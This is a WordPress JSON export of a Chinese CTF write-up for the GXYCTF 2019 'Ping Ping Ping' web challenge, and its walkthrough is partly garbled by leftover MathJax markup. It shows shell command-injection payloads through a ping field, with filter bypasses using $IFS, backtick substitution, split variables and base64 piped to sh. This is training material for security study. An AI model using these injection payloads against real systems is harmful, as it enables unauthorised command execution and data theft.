{"id":971,"date":"2025-01-18T23:13:04","date_gmt":"2025-01-18T15:13:04","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=971"},"modified":"2025-01-18T23:13:05","modified_gmt":"2025-01-18T15:13:05","slug":"gxyctf-2019ping-ping-ping","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/gxyctf-2019ping-ping-ping\/","title":{"rendered":"GXYCTF 2019Ping Ping Ping"},"content":{"rendered":"

[GXYCTF 2019]Ping Ping Ping_[gxyctf2019]ping ping ping-CSDN\u535a\u5ba2<\/a><\/p>\n

\"Pasted<\/p>\n

\"Pasted<\/div>
\n\u5c1d\u8bd5127.0.0.1;ls
\n\u6d4b\u8bd5\u6709\u6ca1\u6709rce\u6f0f\u6d1e
\n127.0.0.1;ls
\n\u53d1\u73b0flag.php
\n
\"Pasted<\/div>
\n\u5c1d\u8bd5\u8bfb\u53d6flag.php,\u53d1\u73b0\u88ab\u8fc7\u6ee4
\n
\"Pasted<\/div>
\n\u4f7f\u7528\u7a7a\u683c\u7ed5\u8fc7
\n;cat$IFS<\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>9<\/mn>i<\/mi>n<\/mi>d<\/mi>e<\/mi>x<\/mi>.<\/mo>p<\/mi>h<\/mi>p<\/mi>!<\/mo>[<\/mo>P<\/mi>a<\/mi>s<\/mi>t<\/mi>e<\/mi>d<\/mi>i<\/mi>m<\/mi>a<\/mi>g<\/mi>e<\/mi>20241127234112.<\/mn>p<\/mi>n<\/mi>g<\/mi>]<\/mo>(<\/mo>h<\/mi>t<\/mi>t<\/mi>p<\/mi>:<\/mo>\/<\/mo><\/mrow>\/<\/mo><\/mrow>g<\/mi>z<\/mi>x<\/mi>i<\/mi>n<\/mi>g<\/mi>y<\/mi>u<\/mi>.<\/mo>c<\/mi>l<\/mi>o<\/mi>u<\/mi>d<\/mi>\/<\/mo><\/mrow>w<\/mi>p<\/mi>\u2212<\/mo>c<\/mi>o<\/mi>n<\/mi>t<\/mi>e<\/mi>n<\/mi>t<\/mi>\/<\/mo><\/mrow>u<\/mi>p<\/mi>l<\/mi>o<\/mi>a<\/mi>d<\/mi>s<\/mi>\/<\/mo><\/mrow>2025<\/mn>\/<\/mo><\/mrow>01<\/mn>\/<\/mo><\/mrow>P<\/mi>a<\/mi>s<\/mi>t<\/mi>e<\/mi>d<\/mi>\u2212<\/mo>i<\/mi>m<\/mi>a<\/mi>g<\/mi>e<\/mi>\u2212<\/mo>20241127234112.<\/mn>p<\/mi>n<\/mi>g<\/mi>)<\/mo>;<\/mo>c<\/mi>a<\/mi>t<\/mi><\/math><\/mjx-assistive-mml><\/mjx-container>IFS$9ls<\/code>
\n\u53cd\u5f15\u53f7\u5185\u7684\u5185\u5bb9\u4f1a\u5148\u88ab\u5f53\u6210\u547d\u4ee4\u6267\u884c\uff0c\u518d\u5c06\u6267\u884c\u7ed3\u679c\u4f5c\u4e3a\u5916\u90e8\u547d\u4ee4\u7684\u4e00\u90e8\u5206\u518d\u53bb\u6267\u884c\u3002
\n\u5728\u8fd9\u91cc\u5c31\u662f\u5148\u6267\u884c ls \uff0c\u7ed3\u679c\u4e3a index.php flag.php \uff0c\u518d cat \u67e5\u770b\u8fd9\u4e9b\u6587\u4ef6\u3002\u5176\u4f5c\u7528\u7b49\u540c\u4e8e\u00a0cat *<\/code>\u00a0\u67e5\u770b\u5f53\u524d\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\uff0c\u4f46\u662f \u2018*\u2019 \u88ab\u8fc7\u6ee4\u4e86\u3002
\nflag\u5728\u6e90\u7801\u91cc
\n\"Pasted<\/p>\n

\u603b\u7ed3<\/h3>\n

\u7a7a\u683c\u7ed5\u8fc7
\n$IFS$9
\n‘ls’<\/p>\n

payload1\uff1a\u53cd\u5f15\u53f7\u547d\u4ee4\u6267\u884c( ` ` )
\n;cat$IFS$9ls<\/code><\/p>\n

\u53cd\u5f15\u53f7\u5185\u7684\u5185\u5bb9\u4f1a\u5148\u88ab\u5f53\u6210\u547d\u4ee4\u6267\u884c\uff0c\u518d\u5c06\u6267\u884c\u7ed3\u679c\u4f5c\u4e3a\u5916\u90e8\u547d\u4ee4\u7684\u4e00\u90e8\u5206\u518d\u53bb\u6267\u884c\u3002
\n\u5728\u8fd9\u91cc\u5c31\u662f\u5148\u6267\u884c ls \uff0c\u7ed3\u679c\u4e3a index.php flag.php \uff0c\u518d cat \u67e5\u770b\u8fd9\u4e9b\u6587\u4ef6\u3002\u5176\u4f5c\u7528\u7b49\u540c\u4e8e cat * \u67e5\u770b\u5f53\u524d\u76ee\u5f55\u4e0b\u6240\u6709\u6587\u4ef6\uff0c\u4f46\u662f \u2018*\u2019 \u88ab\u8fc7\u6ee4\u4e86\u3002<\/p>\n

payload2\uff1a\u53d8\u91cf\u8d4b\u503c\u518d\u4f7f\u7528
\n;b=ag;a=fl;cat$IFS<\/g><\/g><\/g><\/svg>1<\/mn><\/math><\/mjx-assistive-mml><\/mjx-container>a$b.php<\/p>\n

\u610f\u601d\u5c31\u662f\u5c06 \u201cag\u201d \u8d4b\u503c\u7ed9\u53d8\u91cf b \uff0c\u5c06 \u201cfl\u201d \u8d4b\u503c\u7ed9\u53d8\u91cf a \uff0c\u6700\u540e\u62fc\u63a5\u8d77\u6765\uff0c<\/g><\/g><\/g><\/svg>a<\/mi><\/math><\/mjx-assistive-mml><\/mjx-container>b \u5c31\u662f \u201cflag\u201d \uff0c\u8fd9\u6837\u5c31\u7ed5\u8fc7\u4e86\u5bf9 \u201cflag\u201d \u5b57\u7b26\u4e32\u7684\u68c0\u6d4b\u3002
\n$IFS$1 \u4e5f\u662f\u7528\u4e8e\u66ff\u6362\u7a7a\u683c\u3002<\/p>\n

payload3\uff1abase64 \u7f16\u7801
\n`;echo$IFS<\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/g><\/svg>1<\/mn>Y<\/mi>2<\/mn>F<\/mi>0<\/mn>I<\/mi>G<\/mi>Z<\/mi>s<\/mi>Y<\/mi>W<\/mi>c<\/mi>u<\/mi>c<\/mi>G<\/mi>h<\/mi>w<\/mi>|<\/mo>b<\/mi>a<\/mi>s<\/mi>e<\/mi>64<\/mn><\/math><\/mjx-assistive-mml><\/mjx-container>IFS$1-d|sh<\/p>\n

\u5176\u4e2d Y2F0IGZsYWcucGhw \u5c31\u662f cat flag.php \u7684 base64 \u7f16\u7801\u3002
\n\u201c|\u201d \u662f\u7ba1\u9053\u7b26\uff0c\u5c06\u4e0a\u4e00\u6761\u547d\u4ee4\u8f93\u51fa\u7684\u7ed3\u679c\u4f5c\u4e3a\u4e0b\u4e00\u6761\u547d\u4ee4\u7684\u8f93\u5165\u3002
\nbase64 -d \u662f Linux \u4e2d\u7528\u4e8e\u5c06\u5b57\u7b26\u4e32\u8fdb\u884c base64 \u89e3\u7801\u7684\u547d\u4ee4\u3002
\nsh \u7528\u4e8e\u6267\u884c shell \u547d\u4ee4\u3002
\n\u4ee5\u6b64\u65b9\u5f0f\u8fbe\u6210\u7528 sh \u547d\u4ee4\u6267\u884c\u00a0cat flag.php<\/code>\u00a0\u7684\u6548\u679c\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"

[GXYCTF 2019]Ping Ping Ping_[gxyctf2019]ping ping ping- […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[26,35],"class_list":["post-971","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-rce","tag-35"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/971","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=971"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/971\/revisions"}],"predecessor-version":[{"id":972,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/971\/revisions\/972"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=971"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=971"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=971"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}